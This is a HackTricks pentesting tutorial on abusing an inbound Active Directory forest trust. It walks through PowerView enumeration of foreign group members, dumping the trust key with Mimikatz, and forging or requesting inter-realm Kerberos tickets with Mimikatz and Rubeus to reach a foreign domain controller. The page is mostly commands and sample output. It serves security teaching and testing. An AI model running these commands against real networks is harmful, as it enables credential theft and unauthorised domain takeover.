# External Forest Domain - OneWay (Inbound) or bidirectional
Support HackTricks and get benefits! * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
In this scenario an external domain is trusting you (or both are trusting each other), so you can get some kind of access over it. ## Enumeration First of all, you need to **enumerate** the **trust**: ```powershell Get-DomainTrust SourceName : a.domain.local --> Current domain TargetName : domain.external --> Destination domain TrustType : WINDOWS-ACTIVE_DIRECTORY TrustAttributes : TrustDirection : Inbound --> Inboud trust WhenCreated : 2/19/2021 10:50:56 PM WhenChanged : 2/19/2021 10:50:56 PM # Get name of DC of the other domain Get-DomainComputer -Domain domain.external -Properties DNSHostName dnshostname ----------- dc.domain.external # Groups that contain users outside of its domain and return its members Get-DomainForeignGroupMember -Domain domain.external GroupDomain : domain.external GroupName : Administrators GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=external MemberDomain : domain.external MemberName : S-1-5-21-3263068140-2042698922-2891547269-1133 MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain, DC=external # Get name of the principal in the current domain member of the cross-domain group ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133 DEV\External Admins # Get members of the cros-domain group Get-DomainGroupMember -Identity "External Admins" | select MemberName MemberName ---------- crossuser # Lets list groups members ## Check how the "External Admins" is part of the Administrators group in that DC Get-NetLocalGroupMember -ComputerName dc.domain.external ComputerName : dc.domain.external GroupName : Administrators MemberName : SUB\External Admins SID : S-1-5-21-3263068140-2042698922-2891547269-1133 IsGroup : True IsDomain : True # You may also enumerate where foreign groups and/or users have been assigned # local admin access via Restricted Group by enumerating the GPOs in the foreign domain. ``` In the previous enumeration it was found that the user **`crossuser`** is inside the **`External Admins`** group who has **Admin access** inside the **DC of the external domain**. ## Initial Access If you **couldn't** find any **special** access of your user in the other domain, you can still go back to the AD Methodology and try to **privesc from an unprivileged user** (things like kerberoasting for example): {% content-ref url="./" %} [.](./) {% endcontent-ref %} ## Impersonation ### With signing key {% hint style="warning" %} As a reminder, you can get the signing key with ```powershell Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local ``` {% endhint %} You could **sign with** the **trusted** key a **TGT impersonating** the user of the current domain. ```bash # Get a TGT for the cross-domain privileged user to the other domain Invoke-Mimikatz -Command '"kerberos::golden /user: /domain: /SID: /rc4: /target: /ticket:C:\path\save\ticket.kirbi"' # Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC ## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap # Now you have a TGS to access the CIFS service of the domain controller ``` ### Full way impersonating the user ```bash # Get a TGT of the user with cross-domain permissions Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap # Get a TGT from the current domain for the target domain for the user Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap # Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC ## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap # Now you have a TGS to access the CIFS service of the domain controller ```
Support HackTricks and get benefits! * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**